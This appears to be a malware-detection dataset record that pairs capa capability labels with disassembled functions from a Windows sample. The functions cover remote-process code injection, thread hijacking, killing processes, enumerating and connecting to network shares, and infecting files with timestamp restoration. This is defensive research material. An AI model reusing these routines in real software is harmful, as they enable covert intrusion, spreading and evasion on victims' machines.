joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c18
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x405de8
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x406170
sub ebx, 0x406148
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.004032e8
mov eax, dword [ebp - 0x18]
call fcn.00405800
mov esi, eax
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x40c6c4], eax
cmp dword [0x40c6c4], 0
je 0x405dd2
push 0x40
push 0x1000
push ebx
push 0
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40c6d0], eax
push 4
push 0x1000
mov eax, dword [0x40c7a4]
call fcn.00404730
inc eax
push eax
push 0
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40c6d4], eax
cmp dword [0x40c6d4], 0
je 0x405dd2
cmp dword [0x40c6d0], 0
je 0x405dd2
push 0x405df8
call sub.kernel32.dll_GetModuleHandleA_1
mov edi, eax
push 0x405e08
call sub.kernel32.dll_GetModuleHandleA_1
mov esi, eax
push 0x405e14
push edi
call sub.kernel32.dll_GetProcAddress
call fcn.004059d4
mov dword [ebp - 0xc], eax
push 0x405e24
push esi
call sub.kernel32.dll_GetProcAddress
call fcn.004059d4
mov dword [ebp - 0x10], eax
mov eax, dword [0x40c6cc]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x40c7a4]
call fcn.00404730
inc eax
push eax
mov eax, dword [0x40c7a4]
push eax
mov eax, dword [0x40c6d4]
push eax
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
push 0
call sub.kernel32.dll_GlobalAlloc
mov esi, eax
test esi, esi
je 0x405dd2
mov edx, esi
mov eax, 0x406148
mov ecx, ebx
call fcn.00402598
mov edx, ebx
sub edx, 5
test edx, edx
jl 0x405db5
inc edx
mov dword [ebp - 4], 0
mov eax, esi
add eax, dword [ebp - 4]
mov ecx, dword [eax]
cmp ecx, 0x11111111
jne 0x405d81
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
jmp 0x405daf
cmp ecx, 0x22222222
jne 0x405d93
mov ecx, dword [0x40c6d4]
mov dword [eax], ecx
jmp 0x405daf
cmp ecx, 0x33333333
jne 0x405da2
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
jmp 0x405daf
cmp ecx, 0x44444444
jne 0x405daf
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x405d6b
lea eax, [ebp - 8]
push eax
push ebx
push esi
mov eax, dword [0x40c6d0]
push eax
mov eax, dword [0x40c6c4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push esi
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405def
lea eax, [ebp - 0x18]
call fcn.0040311c
ret
Function at 0x405e34
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00405638
mov dword [0x40c6c0], eax
cmp dword [0x40c6c0], 0
je 0x405ed5
cmp dword [0x40c6d0], 0
je 0x405ed5
cmp dword [0x40c6d4], 0
je 0x405ed5
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x405ebc
push esi
lea esi, [esp + 4]
mov edi, 0x40c6d8
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x40c6d0]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x40c6c0]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406334
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x406450
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.00405510
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.00405530
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x40641c
lea eax, [ebp - 0x134]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403318
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.004046e4
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 4]
call fcn.004046ac
test eax, eax
je 0x4063f5
lea eax, [ebp - 0x138]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00403318
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 4]
call fcn.004046ac
test eax, eax
jne 0x40640d
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
mov edx, esi
mov eax, ebx
call fcn.00405550
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x40639a
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406457
lea eax, [ebp - 0x138]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4065f8
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x4067aa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4067b8
call fcn.004032e8
cmp dword [ebp - 4], 0
je 0x406782
cmp byte [0x419008], 0
je 0x40664f
lea eax, [ebp - 0x18]
call fcn.004065a8
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
mov ecx, 0x407534
call fcn.0040337c
jmp 0x406667
lea eax, [ebp - 0x1c]
call fcn.00406558
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
mov ecx, 0x407544
call fcn.0040337c
mov eax, dword [ebp - 0x10]
call fcn.004048ec
test al, al
je 0x406782
mov edx, 2
mov eax, dword [ebp - 0x10]
call fcn.004048fc
mov esi, eax
cmp esi, 0xffffffff
je 0x406782
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.00403660
mov eax, dword [ebp - 0xc]
call fcn.00403530
mov edx, eax
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.004045dc
mov edx, dword [ebp - 4]
mov eax, 0x407560
call fcn.00403618
mov ebx, eax
test ebx, ebx
jne 0x4066db
mov eax, dword [ebp - 4]
call fcn.00403330
mov ebx, eax
test ebx, ebx
je 0x4066db
inc ebx
test ebx, ebx
je 0x40677c
lea eax, [ebp - 0x20]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00403590
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 8]
call fcn.00404834
lea ecx, [ebx + 1]
lea eax, [ebp - 4]
mov edx, 1
call fcn.004035d0
cmp dword [ebp - 8], 0
je 0x406752
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00403618
test eax, eax
jne 0x406752
lea eax, [ebp - 8]
mov edx, 0x407560
call fcn.00403338
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.00403330
push eax
mov eax, dword [ebp - 8]
call fcn.00403530
push eax
push esi
call sub.kernel32.dll_WriteFile_1
mov edx, dword [ebp - 4]
mov eax, 0x407560
call fcn.00403618
mov ebx, eax
test ebx, ebx
jne 0x406774
mov eax, dword [ebp - 4]
call fcn.00403330
mov ebx, eax
test ebx, ebx
je 0x406774
inc ebx
test ebx, ebx
jne 0x4066e3
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4067b1
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403140
ret
Function at 0x407564
Capabilities:
Create process on windows
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov byte [ebp - 1], al
mov esi, 0x40c7fc
xor eax, eax
push ebp
push 0x40777b
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [0x40b158]
mov ebx, dword [ebx + 0x18]
test ebx, ebx
je 0x4075a9
mov eax, dword [0x40b158]
call sub.kernel32.dll_GetACP
cmp ebx, eax
jne 0x407760
mov eax, dword [0x40b158]
mov eax, dword [eax + 8]
mov dword [esi], eax
mov edx, 0x40c7e4
xor eax, eax
call fcn.004026c4
mov eax, 0x100000
call fcn.00402494
mov dword [0x40c7e8], eax
cmp dword [esi], 0x100000
jg 0x407760
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x24]
mov edx, 0x40
call fcn.004048fc
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407760
mov eax, dword [esi]
call fcn.00402494
mov dword [0x40c7ec], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [0x40c7ec]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x10]
cmp eax, dword [esi]
jne 0x407760
push 0x40c7f4
mov ecx, 0x40c7f0
mov edx, dword [esi]
mov eax, dword [0x40c7ec]
call fcn.00405200
test al, al
je 0x407760
call fcn.00407a28
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GetLocalTime
mov edx, 0x407790
mov eax, 0x4077a8
call fcn.00404b90
mov edx, dword [0x40b158]
mov edx, dword [edx + 0xc]
movzx eax, word [ebp - 0x20]
cmp edx, eax
jl 0x407760
mov ecx, dword [0x40b158]
cmp edx, eax
jne 0x4076ba
mov edx, dword [0x40b158]
mov edx, dword [edx + 0x10]
movzx eax, word [ebp - 0x1e]
cmp edx, eax
jl 0x407760
mov ecx, dword [0x40b158]
cmp edx, eax
jne 0x4076ba
movzx eax, word [ebp - 0x1a]
mov edx, dword [0x40b158]
cmp eax, dword [edx + 0x14]
jge 0x407760
call fcn.00409d40
test al, al
jne 0x407760
call fcn.004065f8
call fcn.004061ac
push 0
push 0x4077ac
call sub.kernel32.dll_WinExec
mov edx, 0x407790
mov eax, 0x4077dc
call fcn.00404b90
mov ecx, 0x4077e0
mov edx, 0x4077e8
mov eax, 0x80000002
call fcn.00405340
test al, al
jne 0x407729
mov edx, 0x407790
mov eax, 0x40780c
call fcn.00404b90
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x409f20
push 0
push 0
call sub.kernel32.dll_CreateThread
cmp byte [ebp - 1], 0
je 0x407745
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x40a054
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00407efc
lea eax, [ebp - 0x28]
call fcn.0040912c
mov eax, dword [ebp - 0x28]
mov edx, dword [0x40c7e4]
call fcn.00408cfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407782
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00403140
ret
Function at 0x40783c
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
lea edi, [ebp - 0x2c]
xor eax, eax
push ebp
push 0x407967
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor eax, eax
push ebp
push 0x40792c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 4]
mov edx, 0x407980
call fcn.0040337c
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0xc]
call fcn.00408fac
mov eax, dword [ebp - 0xc]
call fcn.00403bf8
mov esi, eax
test esi, esi
jl 0x407922
inc esi
xor ebx, ebx
xor eax, eax
mov dword [edi + 4], eax
xor eax, eax
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.00403530
mov dword [edi + 0x14], eax
xor eax, eax
mov dword [edi + 0x1c], eax
push 0
push 0
push 0x407984
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
je 0x4078ea
push 0
push 0
push 0
push edi
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40791e
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x34]
mov ecx, 0x407990
call fcn.0040337c
mov eax, dword [ebp - 0x34]
xor edx, edx
call fcn.0040949c
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
call fcn.00403530
push eax
call sub.mpr.dll_WNetCancelConnectionA
inc ebx
dec esi
jne 0x4078aa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407936
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40796e
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00403140
lea eax, [ebp - 0xc]
mov edx, dword [0x407818]
call fcn.00403db8
lea eax, [ebp - 4]
call fcn.0040311c
ret

Function at 0x407994
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
xor eax, eax
push ebp
push 0x407a19
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00404518
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x4079d7
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403530
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a20
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4082a8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x40c7dc
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040311c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408342
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408336
test ebx, ebx
jne 0x408306
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.00404748
mov eax, dword [edi]
call fcn.00403bf0
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x406534]
call fcn.00403dac
add esp, 4
mov eax, dword [edi]
call fcn.00403bf8
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x4082f2
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x408a40
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
xor eax, eax
push ebp
push 0x408add
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.0040311c
mov eax, dword [ebp - 4]
call fcn.00403530
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408ac7
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408abb
test ebx, ebx
jne 0x408aba
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.00404748
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x408a9d
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ae4
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x408aec
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
mov eax, dword [ebp - 8]
call fcn.00403520
xor eax, eax
push ebp
push 0x408cc6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x20
call fcn.00402794
mov eax, dword [ebp - 4]
call fcn.00403530
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x48], 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x48]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x408c9e
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0x2000
mov eax, dword [ebp - 0x18]
call fcn.00402494
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x408c85
cmp eax, 0xea
jne 0x408bdc
mov dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x18]
call fcn.004024d4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x408c9e
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x408b75
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x4c]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032e8
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
call fcn.0040347c
je 0x408c74
mov byte [ebp - 0x21], 0
mov eax, dword [0x40c7e0]
call fcn.00403bf8
mov ebx, eax
test ebx, ebx
jl 0x408c58
inc ebx
xor edi, edi
lea eax, [ebp - 0x54]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032e8
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x20]
call fcn.00408a40
mov eax, dword [0x40c7e0]
mov eax, dword [eax + edi*4]
cmp eax, dword [ebp - 0x20]
jne 0x408c54
mov byte [ebp - 0x21], 1
jmp 0x408c58
inc edi
dec ebx
jne 0x408c25
cmp byte [ebp - 0x21], 0
jne 0x408c74
lea eax, [ebp - 0x58]
mov edx, dword [esi + 0x14]
add edx, 2
call fcn.004032e8
mov eax, dword [ebp - 0x58]
call fcn.0040783c
add esi, 0x20
dec dword [ebp - 0x28]
jne 0x408bf3
jmp 0x408b75
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x408c9e
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x10]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ccd
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403140
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403140
ret
Function at 0x408fac
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
xor eax, eax
push ebp
push 0x40910e
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.00402794
mov eax, dword [ebp - 4]
call fcn.00403530
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x4090f0
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.00402494
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x4090d7
cmp eax, 0xea
jne 0x409075
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.004024d4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
jne 0x4090f0
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x40900e
inc esi
mov eax, dword [ebx]
call fcn.00403bf0
inc eax
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x406508]
call fcn.00403dac
add esp, 4
mov eax, dword [ebx]
call fcn.00403bf8
mov edx, dword [ebx]
lea eax, [edx + eax*4]
push eax
lea eax, [ebp - 0x3c]
mov edx, dword [edi + 0x14]
add edx, 2
call fcn.004032e8
mov ecx, dword [ebp - 0x3c]
mov edx, 0x409128
pop eax
call fcn.0040337c
add edi, 0x20
dec esi
jne 0x409085
jmp 0x40900e
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x4090f0
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409115
lea eax, [ebp - 0x3c]
call fcn.0040311c
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4091d8
Capabilities:
Get file size
Read file on windows
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
xor eax, eax
push ebp
push 0x4093a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.004048fc
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40938a
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0xa00000
jae 0x409384
cmp esi, dword [0x40c7fc]
jl 0x4092af
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [0x40c7fc]
push eax
mov eax, dword [0x40c7e8]
push eax
push ebx
call sub.kernel32.dll_ReadFile
mov eax, dword [0x40c7f4]
sub eax, dword [0x40c7ec]
add eax, dword [0x40c7f0]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x40c7f4]
sub ecx, dword [0x40c7ec]
mov edx, dword [0x40c7ec]
mov eax, dword [0x40c7e8]
call fcn.0040915c
test al, al
je 0x4092ab
mov eax, dword [0x40c7ec]
mov edx, dword [ebp - 0xc]
lea edx, [eax + edx]
mov eax, dword [0x40c7e8]
mov ecx, dword [ebp - 0xc]
add eax, ecx
mov ecx, dword [0x40c7fc]
sub ecx, dword [ebp - 0xc]
call fcn.0040915c
test al, al
je 0x4092ab
xor eax, eax
jmp 0x4092b1
mov al, 1
jmp 0x4092b1
mov al, 1
test al, al
je 0x409384
mov eax, esi
call fcn.00402494
mov edi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.004045dc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_GetFileTime
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
mov edx, dword [0x40c7ec]
mov ecx, dword [0x40c7fc]
mov eax, ebx
call fcn.00404984
mov edx, edi
mov ecx, esi
mov eax, ebx
call fcn.00404984
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x28]
mov edx, esi
mov eax, edi
call fcn.00405200
test al, al
je 0x409369
cmp dword [ebp - 0x28], 0
jbe 0x409369
cmp dword [ebp - 0x2c], 0
je 0x409369
mov esi, dword [0x40c7f4]
sub esi, dword [0x40c7ec]
push 0
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer
cmp esi, eax
jne 0x409369
mov edx, dword [ebp - 0x28]
mov eax, dword [0x40c7f0]
call fcn.00407810
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov eax, ebx
call fcn.00404984
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
mov edx, esi
mov eax, edi
call fcn.004024b4
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4093a7
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x4093b4
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403520
xor eax, eax
push ebp
push 0x409473
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
mov ecx, 0x40948c
mov edx, dword [ebp - 4]
call fcn.0040337c
mov eax, dword [ebp - 0xc]
call fcn.004048ec
test al, al
jne 0x409450
lea eax, [ebp - 0x10]
mov ecx, 0x40948c
mov edx, dword [ebp - 4]
call fcn.0040337c
mov eax, dword [ebp - 0x10]
call fcn.00404960
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x409450
lea edx, [ebp - 8]
mov ecx, 1
mov eax, dword [ebp - 8]
call fcn.00404984
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
push 6
lea eax, [ebp - 0x14]
mov ecx, 0x40948c
mov edx, dword [ebp - 4]
call fcn.0040337c
mov eax, dword [ebp - 0x14]
call fcn.00403530
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40947a
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403140
lea eax, [ebp - 4]
call fcn.0040311c
ret